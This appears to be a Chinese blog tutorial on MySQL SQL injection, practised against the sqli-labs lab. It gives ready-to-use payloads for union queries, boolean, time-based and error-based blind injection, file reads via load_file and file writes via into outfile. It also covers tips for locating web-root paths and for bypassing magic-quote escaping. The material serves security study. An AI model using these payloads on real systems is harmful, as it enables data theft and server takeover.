1. 程式人生 > 其它 >SQL注入手法和思路(一)

SQL注入手法和思路(一)

MYSQL聯合查詢注入

MYSQL資料庫知識

  1. 在MYSQL5.0以上版本中,MYSQL存在一個自帶資料庫名為information_schema,它是一個儲存記錄有所有資料庫名,表名,列名的資料庫,也相當於可以通過查詢它獲取指定資料庫下面的表名或者列名資訊。

低版本注入配合讀取或暴力:字典或讀取(assess資料庫採用)

  1. 常用引數

information_schema.tables:記錄所有表名資訊的表

information_schema.columns:記錄所有列名資訊的表

table_name:表名 column_name:列名 table_schema:資料庫名

user()

檢視當前MySQL登入的使用者名稱

database() 檢視當前使用MySQL資料庫名

version() 檢視當前MySQL版本

注入利用

 1 //根據注入頁面回饋閉合,閉合後為錯誤頁面則為閉合符號或是閉合符的一部分。
 2 ?id=1' order by 3--+ //order by //猜解表的欄位,超出後返回錯誤
 3     
 4 ?id=-1 union select 1,database(),version() --+//判斷資料庫型別版本
 5     
 6 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=
'已知庫名'--+ //獲取表名 7 8 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+ //獲取欄位名 9 10 ?id=-1' union select 1,2,group_concat(已知欄位名,已知欄位名) from 已知表名--+//獲取欄位值 11 小tips 欄位位置只能出現一個值,group_concat()函式把資訊封裝成一個數組。

 

回顯/盲注

select語句返回的是結果表,insert update delete返回的是影響的資料行數和布林值

Query OK, 1 row affected (0.05 sec)

select語句一般會有回顯,其他三個可能沒有 。還是要看開發者程式的編寫

盲注就是在注入過程中,獲取的資料不能回顯至前端頁面。此時,我們需要利用一些方法進行半段或者嘗試,這個過程稱之為盲注。

      • 基於布林的SQL盲注-邏輯判斷(優先順序:2)

使用函式 regexp,like,ascii,left,ord,

      • 基於時間的SQL盲注-延時判斷(優先順序:3)

使用函式 if,sleep

      • 基於報錯的SQL盲注-報錯回顯(優先順序:1)

使用 floor,updatexml,extractvalue

報錯回顯

報錯回顯是利用一些函式使錯誤回顯在頁面上或攜帶在頁面程式碼中,通過函式將想要獲取的資訊包含在錯誤中。

● floor

閉合符 or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or 閉合符 // 利用rand()函式與group()函式的相互衝突

● updatexml

閉合符 or updatexml(1,concat(0x7e,(version())),0) or 閉合符

● extractvalue

閉合符or extractvalue(1,concat(0x7e,database())),0) or 閉合符

 

tpis:在brup改get時要用+或者%20把語句拼起來不然會識別成其他,0x7e代表波浪線,0是空位元組,為了自動化程式和手工時更好檢視資訊。

布林邏輯判斷

頁面只返回True和False兩種型別頁面。利用頁面返回不同,逐個猜解資料

當前資料庫database()的長度大於10,返回true頁面,否則FALSE頁面:

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+

count(*)計數   concat()連線字元   floor()重複資料,返回0,1兩個值  group by 進行分組 rand(0)避免資料重複造成的錯誤

猜當前資料庫第一個字元

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#

利用二分法,115為fal,114TRUE,資料庫第一個字元ASCII為115,即s

同理修改substr(database(),2,1)可猜第二個字元,之後同理,當然在猜資料庫字元前也可先猜資料庫長度:length(database())

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(database(),1,1))>114# 這條語句在後臺為:

SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>114#'(後面單引號被#註釋掉)

延時判斷

頁面沒有回顯也沒有正確錯誤之分,這時採用延時判斷,和布林判斷大差不差。

//取資料庫第一位的一個字元,如果ascii碼值等於115,正確則延時5秒
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+  
//取一個表名的第一個字元值,判斷是否等於101,正確則延時秒
and if(ascii(substr((select table_name from information_schema.tables 
where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+

 

函式解釋

  • floor函式的作用是返回小於等於該值的最大整數,也可以理解為向下取整,只保留整數部分。
  • like 'ro%' #判斷ro或ro...是否成立
  • regexp '^xiaodi[1-z]' #匹配xiaodi及xiaodi...等
  • if(條件,5,0) #條件成立,返回5,反之,返回0
  • sleep(5) #SQL語句延時執行5秒
  • mid(a,b,c) #從位置b開始,擷取a字串的c位
  • substr(a,b,c) #從B位置開始,擷取字串a的c長度
  • left(database(),1),database() #left(a,b)從左側擷取a的前b位
  • length(database())=8 #判斷資料庫database()名的長度
  • ord=ascii ascii(x)=97 #判斷x的ascii碼是否等於97

 

 

mysql獲取許可權

https://www.yuque.com/maple-wdwdl/bz3hd1/hw5q7g

高許可權下MYSQL操作

跨庫查詢

information_schema 表特性,記錄庫名,表名,列名對應表

通過select * from schemata; 進行資料庫名查詢,再去選擇進行查詢獲取指明資料庫裡的資料

獲取所有資料庫名後獲取指定資料庫名下的表名資訊,列名資訊,欄位資訊。

檔案讀寫

會用到MySQL資料庫裡兩個內建函式,這兩個函式是MySQL資料庫特有的,在其他資料庫是沒有的或者在其他資料庫中寫法不 同,所以這是為什麼說注入點分資料庫的原因,因為每個資料庫內建的安全機制和它的功能不同,這才導致在注入的時候針對不用的資料庫採取的攻擊思路也不同。MySQL有內建讀取的操作函式,我們可以呼叫這個函式作為注入的攻擊。

//load_file():讀取函式   
?id=-1' union select 1,load_file('檔案路徑'),3 from 已知表名 --+

//into outfile 或 into dumpfile:寫入函式
?id=-1' union select 1,'寫入內容',3 into outfile('想要寫入檔案路徑') --+

路徑獲取常見方法:

報錯顯示:一般網站出現錯誤的時候它會洩露出路徑

遺留檔案:站長為了除錯資訊的時候遺留的檔案而洩露的 路徑。用掃描工具可以掃出

漏洞報錯:知道對方是用什麼程式搭建再去網上去搜索漏洞資訊:phpcms 爆路徑

平臺配置檔案:通過讀取檔案來讀取搭建網站平臺的配置檔案。缺點:路徑不是預設的,一旦更改很難找到路徑

爆破 常見路徑 windows: d:/wwwroot/xiaodi8/ linux:/var/www/xiaodi8

 

常見防注入

自帶防禦:魔術引號

常見寫入檔案問題:

魔術引號若是開啟的話,所有的反斜線(\)、單引號(')、雙引號(")、NULL 字元都會被自動加上一個反斜線進行轉義,這和 addslashes() 作用完全相同。

PHP中的一些函式:

set_magic_quotes_runtime(),設定當前magic_quotes_runtime 配置選項的啟用狀態,0為關閉,1為開啟。遇到反斜線(\)、單引號(')、雙引號(")、NULL時,會在前面自動加上轉義字元,變成\\、\'、\”、\NULL;還可以藉助addslashes進行轉義。

magic_quotes_gpc(),當此值為1時,會對HTTP請求中的G($_GET)、P($_POST)、C($_COOKIE)單雙引號和反斜線進行轉義;反之則不會。該操作一般見於表單提交的資料庫操作,若是值為0時,便用addslashes進行轉義存入資料庫中,取出時再用stripslashes函式把反斜線給去掉。

特別注意的是在PHP 5.4版本時,魔術引號被移除了,因此轉義都需要加上addslashes函式。繞過思路:編碼或寬位元組繞過:比如在sqlmap中新增--temper指令碼引數轉碼或者使用轉換工具

內建函式,判斷資料型別

replace,替換關鍵詞

WAF防護軟體:安全狗、寶塔等